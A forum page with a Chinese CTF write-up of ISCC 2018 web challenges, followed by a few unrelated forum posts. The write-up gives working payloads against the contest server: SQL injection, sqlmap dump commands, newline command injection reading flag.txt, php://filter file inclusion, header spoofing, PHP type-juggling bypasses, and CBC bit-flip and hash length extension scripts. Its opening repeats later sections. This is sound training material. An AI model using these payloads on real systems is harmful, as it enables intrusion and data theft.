之后POST提交username为guest,运行hashpump,将burp抓包抓到的cookie中的verify与len输入,然后输入数据和要追加的数据(guest与admin)





之后便会生成新的数据与hash值,分别将username与cookie中的verify改为hashpump新生成的值即可









flag:ISCC{MD5_1s_n0t_5afe}题目:php是世界上最好的语言





打开后可以看到代码如下<html>
<body>
<form action="md5.php" method="post" >
用户名:<input type="text" name="username"/>
密码:<input type="password" name ="password"/>
<input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}


show_source(__FILE__);
?>这里考察php的隐式类型转换,如果用双等号将一个字符串与数字进行比较时,会将字符串类型转为数字类型,所以在这里一般可以利用开头为0的MD5值绕过QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904
......输入用户名和以上其中一个字符串作为密码










进入第二关,代码如下NULL <?php
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);

?> 可以看出存在变量覆盖漏洞,利用全局变量’$GLOBALS’覆盖http://118.190.152.202:8005/no_md5.php?a=GLOBALS



flag:ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}题目:Sqli

题目直接说明这是一道注入,打开后是一个登陆框





测试一下是否存在注入输入username=' or 1=1 and 1=1#
password=123456会直接登陆成功并将我们输入的username:' or 1=1 and 1=1#
输出出来





输入username=' or 1=2 and 1=1#
password=123456则会显示输入的用户名或密码错误





由此可以判断username参数可能存在注入。大概的登陆验证过程:将输入的username与password拼接成sql查询语句带入数据库查询,如果查到结果便会登陆成功并显示输入的用户名,查询不到结果就会返回用户名或密码错误的提示可以看出该处是一个很普通的盲注,可以写脚本也可以直接用sqlmap,这里为了尽快拿到一血直接上sqlmapsqlmap.py -r "C:\Users\I'm possible\Desktop\post.txt" -p username --dump -C "kjafuibafuohnuvwnruniguankacbh" -T "news" -D "sqli_database"



flag{hahaha999999999}题目:有种你来绕

HINT:我都过滤了,看你怎么绕。记住是mysql
之前在社区发过的一道题,链接
注入出来管理员密码后进入后台





后台并没有flag,看提示应该是命名执行,但是试了好多命令都没有回显,最后偶然输入了flag,结果flag就出来了。。。




flag{sql_iNjEct_Is_Easy}
  查看全部

之前发的一篇文章,内容没有显示出来,应该是内容过多或者是一些字符的问题,现在重新发表一下,因为可能有字数限制,所以可能会以几个部分分别发布,目的是将自己解出的题分享出来,通过这篇文章希望给大家带来一些新知识

web方向
题目:比较数字大小
HINT:只要比服务器上的数字大就好了

1.png

发现题目只有一个输入框,限制只能输入3个字符,看起来像是前端限制,于是firebug查看元素,发现maxlength值为3,将3改为100,随意输入个大数字,flag就出来了

1.png


1.png
flag:key is 768HKyu678567&*&K
题目:本地的诱惑

HINT:小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?(签到题)
该题为web的签到题,打开后发现是这样的

1.png

必须从本地访问,于是想到了伪造X-Forwarded-For,后来发现直接访问源代码就能得到flag,果然是签到题啊

1.png
flag:ISCC{^&*(UIHKJjkadshf}
题目:你能跨过去吗?

HINT:如果你对xss了解的话,那你一定知道key是什么了,加油!

1.png


看到xss便首先尝试在输入框里提交XSSPaylaod,结果发现根本找不到输出点,不管提交多少次都是”加油再试一次”,然后发现页面有一串字符非常像base64编码
ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0
base64解码了一下,发现是XSSpayload,里面有我们要的key

1.png

因为key的16进制中有00,代表结束符(截断),所以要将key中的00字符都删掉,才能将key复制下来

1.png
key:/%nsfocusXSStest%/
key不是flag,将
/%nsfocusXSStest%/
提交到页面输入框才能弹出来flag

1.png
flag{Hell0World}
题目:一切都是套路

HINT:好像有个文件忘记删了

自己的字典太垃圾,啥也没扫出来,经过一个表哥强大的字典发现扫出了index.php.txt,内容如下
<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>
进行一波代码审计发现考察的是php变量覆盖,构造payload
http://118.190.152.202:8009/index.php?_200=flag









 
带上POST参数
flag=

1.png

我来讲解一下详细的过程,首先代码要求必须有POST参数,而且POST参数的参数名必须为flag,这样才可以到变量覆盖的那一步,接着提交GET参数_200=flag,php代码遍历$_GET数组执行的便是$_200=$flag,也就是将变量$flag的值复制给$_200,覆盖原先变量$_200的值,此时变量$_200的值为$flag中的值,接着php遍历$_POST数组,我们提交的POST参数为flag=空(任意值),于是将POST的值复制给$flag值,覆盖原先的$flag值,$_POST["flag"]便会和$flag值相等,都为空(任意值),最后输出变量$_200的值,也就是原先$flag中的flag
flag: ISCC{taolu2333333....}
题目:你能绕过吗?

HINT:没过滤好啊

1.png
http://118.190.152.202:8008/index.php?f=articles&id=1









 一开始以为id参数没过滤好,于是尝试了注入,结果被坑了,原来是f参数没过滤好,存在文件包含,通过文件包含漏洞使用php伪协议读取index.php的源代码
payload:http://118.190.152.202:8008/index.php?f=PHP://filter/read=convert.base64-encode/resource=index&id=1
 payload中的php要大写,否则会被拦截

1.png

得到一串base64,解码得到源码,源码中有flag

1.png
flag:ISCC{LFIOOOOOOOOOOOOOO}








题目:web02

1.png

要求ip为本机ip,尝试Referer和X-forwarded-For都不行,最后搜索了一番,发现伪造ip还可以用Client-ip 将ip伪造成127.0.0.1即可

1.png
flag:ISCC{iscc_059eeb8c0c33eb62}
题目:请ping我的ip 看你能Ping通吗?

HINT:我都过滤了,看你怎么绕。

1.png

看到这样一句话:请ping我的IP 看你会ping通吗尝试
http://118.190.152.202:8018/?ip=118.190.152.202








 
发现可以执行ping命令


1.png

猜测后台php代码应该如下,类似于dvwa中的命令执行
shell_exec( 'ping ' . waf($_GET[ip]) )
尝试在ping命令后执行多条命令,发现&,&&,|都不行,最后测试发现使用%0A可以绕过,读取flag.txt payload
http://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20flag.txt

1.png


读取index.php payload
http://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20index.php
可以看到源码里正如我们之前猜测的那样 

1.png


当然这到题也有非常规解法,既然要用命令执行去读取flag.txt,不如直接访问网站根目录下的flag.txt就能得到flag

1.png
ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}
题目:Please give me username and password!

1.png

题目说Please give me username or password! 那在url后添加GET参数username与password
http://118.190.152.202:8017/?username=&&password=
再查看源代码可以看到html注释里面有个index.php.txt

1.png

访问index.php.txt,发现源代码,又是一道代码审计题
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>
可以看到只要绕过对username和password的过滤便能得到flag

strcasecmp的绕过可以利用数组,strcasecmp这个函数在比较一个数组和字符串时会因为类型不一致而报错,从而函数返回False,又因为将False与0以双等号(不严格的比较)进行比较发生了一次隐私类型转换,所以结果为真,从而绕过,后面要求数字长度小于4且大于999可以用php中的科学计数法绕过,构造payload
http://118.190.152.202:8017/?username=&&password=1e9

1.png
flag{ISCC2018_Very_GOOD!}
题目:SQL注入的艺术

1.png

找到一个可能存在注入的连接
http://118.190.152.202:8015/index.php?id=1






猜测id参数可能存在注入,加单引号和双引号页面均返回正常并不会报错,于是猜测引号可能被转义了,尝试宽字节注入 
http://118.190.152.202:8015/index.php?id=1%df'
发现页面返回不正常

1.png

于是尝试进行and逻辑判断确认是否存在注入
http://118.190.152.202:8015/index.php?id=1%df' and 1=1%23

1.png
http://118.190.152.202:8015/index.php?id=1%df' and 1=2%23

1.png

order by 测试出列数为8,union查询确定出注入回显的位置
http://118.190.152.202:8015/index.php?id=-1%df' union select 1,2,3,4,5,6,7,8%23

1.png

接下来可以union手工注入,也可以用sqlmap跑,sqlmap跑的时候要使用tamper脚本unmagicquotes.py来绕过单引号转义过滤,为了方便直接上sqlmap,获取flag的命令
sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" --dump -C "flag" -T "admins" -D "baji" --tamper="unmagicquotes.py"
1.png
flag:Y0u_@@33w_dxxmn_9rf0Od
题目:试试看

HINT:随意开火

1.png

这道题一开始就觉得是文件包含,但是使用php协议读文件时发现一直出现File not found,一直不知为何,直到谷歌搜出了类似的一道题才找到思路,这里的思路大概一样,只要绕过正则表达式即可,经过模糊测试,发现
http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=../flag.php





可以读到flag.php中的flag 

1.png
flag{1ntere5ting_PHP_Regu1ar_express1onssssss}
http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=show.php
可以读取show.php查看它的过滤 

1.png
<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false &&preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}

preg_match('/^php:\/\/filter.[i]resource=([^|][/i])/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}

header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}

}
else
{
?>
<img src="1.jpg">
<?php
}
?>
可以看到由于正则过滤不严导致可以去读取flag
题目:Only admin can see flag(这道题很有意思,用到了CBC翻转字节攻击的方法,感觉很不错,能学到新知识)

打开后是一个登陆页面

1.png

出于习惯首先查看源代码,结果发现泄露了index.php的源码

1.png

查看源代码,可以看出又是一道代码审计题

1.png

代码如下
<?php
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$iv='';
for($i=0;$i<16;$i++){
$iv.=chr(rand(1,255));
}
return $iv;
}
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is *************</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
die();
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

if (isset($_POST['username'])&&isset($_POST['password'])) {
$username=waf((string)$_POST['username']);
$password=waf((string)$_POST['password']);
if($username === 'admin'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
?>
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Paper login form</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="login">
<form action="" method="post">
<h1>Sign In</h1>
<input name='username' type="text" placeholder="Username">
<input name='password' type="password" placeholder="Password">
<button>Sign in</button>
</div>
</body>
</html>
来看代码的主要执行过程与用户数据流的流向

首先,如果存在有用户POST传递过来的username与password,那就接收用户输入的username与password,将用户输入的内容转换为字符串类型然后带入waf函数进行过滤检查处理(应该是过滤一些危险字符),之后使用===检查username的值是否为admin,如果相等直接输出You are not real admin!到页面并且结束,否则将username与password存入数组然后带入login函数,通过代码可以看出login函数的主要作用,将传入的存有username与password的数组进行序列化处理后再使用php中的openssl_encrypt函数进行aes-128-cbc加密,加密的初始化向量为随机生成的16字节的字符串,之后将传入的用户名传入服务器中session文件中的username变量中,将初始化向量与加密结果进行base64编码后分别存入cookie中的iv与cipher中,之后cookie就作为该用户的登陆凭证,简单来说,就是如果用户名不等于admin就登陆成功并且将用户名存入服务器的session变量中,之后setcookie,然后进入用户界面,此处使用show_homepage函数判断,这个函数会判断session中的username是否为admin,如果为admin,那就登陆成功并输出flag,否则就以普通用户登录

如果发现服务器session文件中的username变量已被设置,说明之前有用户登录了,就不使用login函数进行进行登陆检查,而是使用check_login函数进行用户身份检查,通过代码可以看出check_login函数的主要作用,检查cookie中是否设置有cipher和iv,如果有,就对cookie中的cipher与iv进行base64解码,然后使用php中的openssl_decrypt函数进行aes-128-cbc解密,将解密的结果进行反序列化处理为数组,之后将数组中的username赋值给session中的username,之后进入用户登录界面,再次调用show_homepage

来分析一下整个逻辑过程

简单来说,要求输入的用户名不能为admin才能登陆成功,但是进行用户身份检查时需要$_SESSION中的username必须等于admin才能登陆成功,于是想到了可以首先以一个用户名不是admin的用户登录,设置$_SESSION['username'],之后刷新登陆页面,将会带上生成的cookie进入check_login函数,我们可以修改cookie中的cipher与iv,使其经过aes-128-cbc解密反序列化后将$info['username']的值变为admin即可覆盖第一次登陆后设置的$_SESSION['name'],将其变为admin,此时经过show_homepage后就会是admin并且输出flag

在这里加密解密的密钥是未知的,iv初始化向量是随机生成的,导致我们不能直接利用加密算法生成cookie,于是想到了一种名为CBC翻转字节攻击的方法,该攻击可以在不知道密钥的前提下,通过修改密文中某一处的字节达到修改部分明文的目的,具体过程如下,首先来看AES的CBC模式的加密解密过程,分组长度为16字节加密
加密

1.jpg


解密

1.jpg

所谓的CBC翻转字节攻击就是通过修改某一分组的密文,去修改其下一分组的明文

1.png

比如明文分组如下,以题目举例
a:2:{s:8:"userna
me";s:5:"Admin";
s:8:"password";s
:6:"123456";}
要将Admin修改为admin,只需修改加密后第一个分组中的第10个字节,也就是对应A所在位置的"的密文就可以首先要以Admin登陆,获取Set-Cookie中的cipher与iv,cipher里面存放着将上面那串字符串加密的密文,iv为随机生成的16位字符串,作为加密解密的初始化向量

1.png


1.png
iv:pO%2FPPYF9sNQq9oGENmDdFA%3D%3D
cipher:bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D
首先修改密文的第一个分组的第十个字节
import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"Admin";
#s:8:"password";s
#:6:"123456";}
cipher="bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D"
cipher=base64.b64decode(urllib.unquote(cipher))
newcipher=cipher[0:9]+chr(ord(cipher[9])^ord('A')^ord('a'))+cipher[10:]
print "cipher:\n%s"%(urllib.quote(base64.b64encode(cipher)))
print "new cipher:\n%s"%(urllib.quote(base64.b64encode(newcipher)))

1.png

我来解释一下这段代码
首先需要明白一个前提
异或运算相同为0,不同为1,所以推导出:一个字符和其本身异或结果为0,一个字符和0异或结果为其本身

解密(cipher[9+16])^cipher[9]='A'(这是正常的解密过程)
解密(cipher[9+16])^cipher[9]^'A'^'a'='a'(将A变为a,就要将第一分组中的第十个字节cipher[9]进行cipher[9]^'A'^'a'改变)
此时cipher变为了
bq1cO9PgjsrNf%2B1iItSFPsyT/taue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7/Du5pSgPzuq339vT4EWNfQ%3D%3D
刷新登陆后的页面,将cookie中的cipher改为修改后的cipher

1.png



1.png
将返回base64_decode('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ==') can't unserialize的错误,因为如果修改第一组密文中的某个字节,初始化向量不变也会导致第一组明文解密时发生改变,从而导致解密出的序列化的格式发生改变而导致反序列化失败,所以还要根据这串返回的base64重新生成新的iv,让解密出的第一个分组的明文还原成原先的明文

1.png
import urllib
import base64
iv="pO%2FPPYF9sNQq9oGENmDdFA%3D%3D"
iv=base64.b64decode(urllib.unquote(iv))
jiamingwen = base64.b64decode(urllib.unquote('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))[/i][/i][/i]

1.png

同样的,解释一下这段代码
有个前提
如果c=a^b
那么a=c^b,b=a^c

因为:
iv^解密(假密文)=假明文
iv^解密(假密文)^假明文=0(假明文^假明文=0)
所以:
iv^解密(假密文)^假明文^明文=明文(0^明文=明文)
又因为需要达到:
newiv^解密(假密文)=明文
所以:
newiv=iv^假明文^明文
所以新的iv变为
dR9UMoe8drNhp9pRsl3%2Bxw%3D%3D
然后将cookie中的cipher和iv同时改为新生成的即可,这样的话解密后只会将第二组明文的A变为a,而且第一分组解密出的明文并不会发生改变,序列化格式也自然不会改变,这样就可以反序列化成功,然后将$_SESSION['username']重新赋值为解密出的admin明文,然后绕过验证输出flag

1.png
flag:ISCC{123dasd89as10aas}


题目:Collide

HINT:那么长的秘钥,要爆破到什么时候啊

1.png

又是一道代码审计题
<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60[i]60[/i]24*7);
setcookie("len", strlen($key), time()+60[i]60[/i]24*7);
}
show_source(__FILE__);
可以看出这道题是考察hash长度扩展攻击的,对于这种攻击方式原理自己还没有完全搞懂,于是就把做题方法记录一下

首先,需要在linux中安装一个名为HashPump的工具,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。下面是安装方法
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

1.png

之后POST提交username为guest,运行hashpump,将burp抓包抓到的cookie中的verify与len输入,然后输入数据和要追加的数据(guest与admin)

1.png

之后便会生成新的数据与hash值,分别将username与cookie中的verify改为hashpump新生成的值即可

1.png


1.png
flag:ISCC{MD5_1s_n0t_5afe}
题目:php是世界上最好的语言

1.png

打开后可以看到代码如下
<html>
<body>
<form action="md5.php" method="post" >
用户名:<input type="text" name="username"/>
密码:<input type="password" name ="password"/>
<input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}


show_source(__FILE__);
?>
这里考察php的隐式类型转换,如果用双等号将一个字符串与数字进行比较时,会将字符串类型转为数字类型,所以在这里一般可以利用开头为0的MD5值绕过
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904
......
输入用户名和以上其中一个字符串作为密码

1.png


1.png

进入第二关,代码如下
NULL <?php
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);

?>
可以看出存在变量覆盖漏洞,利用全局变量’$GLOBALS’覆盖
http://118.190.152.202:8005/no_md5.php?a=GLOBALS

1.png
flag:ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}
题目:Sqli

题目直接说明这是一道注入,打开后是一个登陆框

1.png

测试一下是否存在注入输入
username=' or 1=1 and 1=1#
password=123456
会直接登陆成功并将我们输入的
username:' or 1=1 and 1=1#

输出出来

1.png

输入
username=' or 1=2 and 1=1#
password=123456
则会显示输入的用户名或密码错误

1.png

由此可以判断username参数可能存在注入。大概的登陆验证过程:将输入的username与password拼接成sql查询语句带入数据库查询,如果查到结果便会登陆成功并显示输入的用户名,查询不到结果就会返回用户名或密码错误的提示可以看出该处是一个很普通的盲注,可以写脚本也可以直接用sqlmap,这里为了尽快拿到一血直接上sqlmap
sqlmap.py -r "C:\Users\I'm possible\Desktop\post.txt" -p username --dump -C "kjafuibafuohnuvwnruniguankacbh" -T "news" -D "sqli_database"

1.png
flag{hahaha999999999}
题目:有种你来绕

HINT:我都过滤了,看你怎么绕。记住是mysql
之前在社区发过的一道题,链接
注入出来管理员密码后进入后台

1.png

后台并没有flag,看提示应该是命名执行,但是试了好多命令都没有回显,最后偶然输入了flag,结果flag就出来了。。。

1.png
flag{sql_iNjEct_Is_Easy} 

 

风控相关的文章

发表了文章 • 0 个评论 • 322 次浏览 • 2017-06-16 11:10 • 来自相关话题

http://www.toutiao.com/a3718846612/   OKcoin风控:安全有余、体验不足
http://www.pmcaff.com/discuss/index/1000000000152950  支付风控如何进行搭建?
http://www.woshipm.com/operate/562096.html  干货贴:互联网金融风控基础知识(一)
http://www.woshipm.com/it/573697.html   干货贴|互联网金融风控基础知识(二)
https://www.easyaq.com/news/1637006072.shtml  业务安全通用解决方案--WAF数据风控
  查看全部
http://www.toutiao.com/a3718846612/   OKcoin风控:安全有余、体验不足
http://www.pmcaff.com/discuss/index/1000000000152950  支付风控如何进行搭建?
http://www.woshipm.com/operate/562096.html  干货贴:互联网金融风控基础知识(一)
http://www.woshipm.com/it/573697.html   干货贴|互联网金融风控基础知识(二)
https://www.easyaq.com/news/1637006072.shtml  业务安全通用解决方案--WAF数据风控
 

5.20 赛克艾威公开课期待您的到来

ttgo2 发表了文章 • 0 个评论 • 509 次浏览 • 2017-05-16 11:37 • 来自相关话题

5月20日(本周六),地址:海淀区大钟寺中坤广场E座6楼602室,各路江湖大侠汇聚一起,分享安全漏洞和行业趋势,助力大家更好的走进渗透测试领域。具体详见如下链接:
http://g.eqxiu.com/s/Wn19bBx3?eqrcode=1&from=timeline 查看全部
5月20日(本周六),地址:海淀区大钟寺中坤广场E座6楼602室,各路江湖大侠汇聚一起,分享安全漏洞和行业趋势,助力大家更好的走进渗透测试领域。具体详见如下链接:
http://g.eqxiu.com/s/Wn19bBx3?eqrcode=1&from=timeline

全国多地中石油加油站突然断网:支付受限加油正常

ttgo2 发表了文章 • 0 个评论 • 489 次浏览 • 2017-05-13 21:50 • 来自相关话题

转载:
近日,全球范围内大面积发生勒索病毒攻击事件,国内部分校园网也受到波及。值得注意的是,加油站外部支付需使用外网,而加油业务在内网运行,断网事件与病毒攻击是否关联目前仍未得到证实。有网络安全专家分析称,从理论上,这次攻击只针对windows系统,石油系统及工业互联网不会被波及,除非有专门的针对这一系统的病毒被开发。
http://stock.10jqka.com.cn/20170513/c598558997.shtml 查看全部
转载:
近日,全球范围内大面积发生勒索病毒攻击事件,国内部分校园网也受到波及。值得注意的是,加油站外部支付需使用外网,而加油业务在内网运行,断网事件与病毒攻击是否关联目前仍未得到证实。有网络安全专家分析称,从理论上,这次攻击只针对windows系统,石油系统及工业互联网不会被波及,除非有专门的针对这一系统的病毒被开发。
http://stock.10jqka.com.cn/20170513/c598558997.shtml

session越权怎么修复啊

ttgo2 回复了问题 • 5 人关注 • 4 个回复 • 501 次浏览 • 2017-05-11 19:21 • 来自相关话题

怎么才能知道工具有没有后门?

wukong 回复了问题 • 5 人关注 • 6 个回复 • 622 次浏览 • 2017-04-29 09:53 • 来自相关话题